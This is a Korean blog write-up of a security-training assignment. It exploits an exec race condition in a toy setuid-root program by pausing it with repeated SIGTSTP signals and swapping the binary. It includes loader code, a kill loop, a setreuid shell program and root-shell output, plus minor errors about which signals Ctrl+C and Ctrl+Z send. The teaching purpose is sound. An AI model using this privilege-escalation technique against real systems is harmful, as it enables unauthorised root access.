Document - Exploiting Race Condition Vulnerability with Unix Signal


분류 : Exploitation

플랫폼 : Linux


BOB(차세대 보안리더 양성프로그램) 1학기 OS시간 - passket 멘토님의 과제 중 하나로 아래의 소스를 컴파일한 바이너리의 취약점을 이용해 최종적으로 원하는 프로그램을 실행해 권한 상승을 하는 공격 및 공격 보고서를 작성하는 과제가 있었습니다.


vuln.c

#include <unistd.h>
int main(int argc, char **argv, char **envp)
{
  char buf[4096];
  /* do some stuff, and a check if we require new execution */
  if (argc < 2)
  {
    if (readlink("/proc/self/exe", buf, sizeof(buf)) < 0) return 1;
    char *args[] = { buf, "1", 0 };
    if (execve(args[0], args, 0) < 0) return 1;
  }
  /* do some stuff */
  return 0;

} 


이 프로그램은 StalkR이라는 외국해커분이 포스팅한 내용에 포함된 프로그램이며, 해당 포스팅에는 StalkR님이 위 프로그램을 공략하는데 사용한 여러가지 Exploit 방법에 대해 설명하고 있습니다.


http://blog.stalkr.net/2010/11/exec-race-condition-exploitations.html


이 포스팅에 적힌 방법외에 다른 방법으로 공략하는 방법을 생각해보다가 signal을 활용한 공략법을 생각해보게 됬으며, 간단하면서도 나름 간지나는 방법인것 같아 포스팅해봅니다 :)


---------------------------------------------------------------------------------------------------------------


vuln.c

#include <unistd.h> int main(int argc, char **argv, char **envp) { char buf[4096]; /* do some stuff, and a check if we require new execution */ if (argc < 2) { if (readlink("/proc/self/exe", buf, sizeof(buf)) < 0) return 1; char *args[] = { buf, "1", 0 }; if (execve(args[0], args, 0) < 0) return 1; } /* do some stuff */ return 0; }


위 프로그램은 컴파일되어 root user의 권한으로 setuid가 걸린 상태이다.


[pwn3r@localhost ~]$ ls -l

total 12

-rwsr-xr-x. 1 root  root  4864 Jul 14 02:51 vuln

-rw-rw-r--. 1 pwn3r pwn3r  360 Jul 14 02:51 vuln.c 


프로그램의 취약점을 signal로 공략해 root user의 쉘을 획득하는 것이 최종 목표이다.


우선 vuln 프로그램의 취약점부터 분석해 보도록 하자.

위에 있는 vuln 프로그램의 소스를 보면 readlink라는 함수를 이용해 심볼릭 링크인 /proc/self/exe가 가르키는 프로그램. 즉 자기자신의 절대 경로를 구해와 execve함수로 한 번더 실행하는게 프로그램의 전체 역할이다.


그렇다면 vuln 프로그램의 처음 실행된 시점과 execve함수로 또 한번 실행하기 직전, 이 두 시점 사이에 vuln 프로그램을 다른 프로그램으로 바꿔치기 해버린다면 어떻게 될까. 당연히 바꿔치기한 프로그램이 실행되는 것이 될 것이다. 현재 vuln 프로그램은 root user권한으로 setuid가 걸려있기 떄문에 권한상승으로 이어질 수 있다.


그럼 이제 실제로 공략법을 생각해보자. 어떤 방법으로 공략할 수 있을까? 

아마 본인을 포함해 누구나 가장 먼저 떠올리는 방법은 레이스컨디션을 이용한 방법일 것이다. 무한히 vuln 프로그램을 바꿔치기 하는 동작과 무한히 vuln 프로그램을 실행하는 동작, 이 두 동작을 동시에 실행하다보면 언젠가 vuln프로그램이 실행되고 vuln프로그램 내부적으로 execve함수가 호출되기전에 vuln 프로그램이 바꿔치기 되어 원하는 프로그램이 실행될 것이다.


"좀더 간지나는 방법이 없을까.." 생각하며 레이스컨디션 외에 다른 공략법들을 생각해보다가 "Signal"을 이용해서 공략해보게 되었다.


Unix에선 프로세스간에 간단한 메시지(?)를 주고받는 개념의 "Signal"을 지원한다. 터미널에서 Ctrl+C를 누르면 SIGTERM  Signal 이 발생하여 프로세스가 종료되는 것과 Ctrl+Z를 누르면 SIGSTOP  Signal 이 발생하는 것, 프로세스에서 Segmentation Fault가 발생하면 SIGSEGV  Signal 이 발생하면서 종료되는 것이 대표적인 예이다.

아래는 리눅스에 있는 Signal들의 목록이다.


Signals

Linux Signals are:

Signal NameNumberDescription
SIGHUP1Hangup (POSIX)
SIGINT2Terminal interrupt (ANSI)
SIGQUIT3Terminal quit (POSIX)
SIGILL4Illegal instruction (ANSI)
SIGTRAP5Trace trap (POSIX)
SIGIOT6IOT Trap (4.2 BSD)
SIGBUS7BUS error (4.2 BSD)
SIGFPE8Floating point exception (ANSI)
SIGKILL9Kill(can't be caught or ignored) (POSIX)
SIGUSR110User defined signal 1 (POSIX)
SIGSEGV11Invalid memory segment access (ANSI)
SIGUSR212User defined signal 2 (POSIX)
SIGPIPE13Write on a pipe with no reader, Broken pipe (POSIX)
SIGALRM14Alarm clock (POSIX)
SIGTERM15Termination (ANSI)
SIGSTKFLT16Stack fault
SIGCHLD17Child process has stopped or exited, changed (POSIX)
SIGCONT18Continue executing, if stopped (POSIX)
SIGSTOP19Stop executing(can't be caught or ignored) (POSIX)
SIGTSTP20Terminal stop signal (POSIX)
SIGTTIN21Background process trying to read, from TTY (POSIX)
SIGTTOU22Background process trying to write, to TTY (POSIX)
SIGURG23Urgent condition on socket (4.2 BSD)
SIGXCPU24CPU limit exceeded (4.2 BSD)
SIGXFSZ25File size limit exceeded (4.2 BSD)
SIGVTALRM26Virtual alarm clock (4.2 BSD)
SIGPROF27Profiling alarm clock (4.2 BSD)
SIGWINCH28Window size change (4.3 BSD, Sun)
SIGIO29I/O now possible (4.2 BSD)
SIGPWR30Power failure restart (System V)


이 시그널들 중에서도 본인이 이용한 것은 빨간 색으로 표시된 SIGTSTP Signal 이다. SIGTSTP Signal을 받은 프로세스는 SIGSTOP Signal을 받았을때와 마찬가지로 프로세스를 정지시킨다. 


그럼 vuln 프로그램의 처음 실행된 시점과 execve함수로 또 한번 실행하기 직전, 이 두 시점 사이에 프로세스가 SIGTSTP를 받도록한다면 어떨까. 프로세스는 정지될 것이고 우리는 vuln프로그램을 다른 프로그램으로 바꿔치기 해버려 원하는 동작을 수행할 수 있다.


긴말 필요없이 바로 공략해보록하자.

아래 loader 프로그램은 편의를 위해 임의로 짜둔 프로그램이다. vuln프로그램이 실행되고나서 프로세스 아이디를 알아내고 시그널을 보내기엔 시간이 부족하기 때문에, loader역할을 하는 아래 프로그램을 만들어 프로세스 아이디를 출력하고 sleep함수로 몇 초간 대기한 후 vuln프로그램을 실행하도록한 것이다.


loader.c 

#include <stdio.h>

#include <signal.h>

 

void (*old_fun)(int);

 

void signal_handler(int signo)

{

       printf("1\n");

}

 

int main()

{

       int pid , i;

       char buffer[256];

       pid = getpid();

       printf("%d\n" , pid);

       old_fun = signal(SIGTSTP , signal_handler);

       sleep(20);

       execl("/tmp/bob/vuln",0);

}


공격자는 loader 프로그램을 실행하고 출력된 프로세스 아이디를 복사해 다른 터미널에서 무한히 SIGTSTP Signal을 보내도록 해야한다. loader 프로그램이 따로 Signal handler를 등록하지 않았다면 loader 프로그램 자체가 멈춰버리는 문제가 생기겠지만, loader프로그램에는 Signal handler가 등록되어있어 SIGTSTP Signal을 받으면 등록된 Signal handler함수가 실행된 이후 다음에 있는 코드를 이어가게된다. 


loader 프로그램을 실행해본다.


Terminal 1

[pwn3r@localhost bob]$ ./loader 
27317 


정상적으로 실행됬으며 프로세스 아이디를 출력해주었다. 이 프로세스 아이디를 복사해, 다른 터미널에서 해당 프로세스 아이디로 무한히 SIGTSTP Signal을 보내는 쉘스크립트를 실행해본다.


Terminal 

[pwn3r@localhost bob]$ while [ 1 ] ; do kill -20 27317; done 


while 문으로 무한루프를 돌면서 kill명령으로 loader 프로세스에 SIGTSTP Signal(20)을 전송했다.

이렇게 SIGTSTP Signal을 전송받은 loader 프로세스는 아래와 같이 등록된 Signal handler함수를 호출해 1을 출력하고 멈추게 된다.


Terminal 

[pwn3r@localhost bob]$ ./loader 

27317

1


[1]+  Stopped                 ./loader


겁나 깔끔하게도 지금 프로세스가 멈춘시점은 loader프로세스에서 execve함수가 호출되어 vuln프로그램으로 프로세스가 바뀐 직후의 상태이다. 즉 vuln 프로그램이 실행된 시점과 vuln 프로그램 내부적으로 execve 함수가 호출되는 시점 사이에 멈춰있다는 것이다.  한 번에 목표했던 지점에서 프로세스가 멈췄다 -_-b


그럼 이제 느긋하게 vuln 프로그램을 원하는 프로그램으로 바꿔치기해보자. 지금 목표로 하고 있는 것은 root user 권한의 쉘을 획득하는 것이므로, 권한을 이어받고 /bin/sh를 실행하는 프로그램을 작성한다.


gotshell.c 

int main()

{

       setreuid(geteuid(),geteuid());

       execl("/bin/sh","sh",0);

}


위 처럼 작성한 gotshell이란 프로그램을 vuln 프로그램에 덮어씌운다.


Terminal 2 

[pwn3r@localhost bob]$ ln -f gotshell vuln


이제 멈춘 vuln 프로세스를 이어서 진행시키면, 조작된 vuln 프로그램을 실행할 것이다.

vuln 프로세스를 이어서 진행시켜보자.


Terminal 1

[pwn3r@localhost bob]$ fg 1

./loader

sh-4.1# id

uid=0(root) gid=503(pwn3r) groups=0(root),503(pwn3r) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023


겁나 깔끔하게 root user의 쉘을 획득했다.


Unix에서 제공하는 Signal을 이용해 편리하게 Race Condition Vulnerability를 간단하면서도 간지나게 Exploit 할 수 있었다. 이런 종류의 Vulnerability가 아니더라도 상황에 따라 Signal을 활용한 Exploit을 해보는 것도 괜찮은 생각인것 같다 :)





WRITTEN BY
pwn3r_45

트랙백  47 , 댓글  0개가 달렸습니다.
secret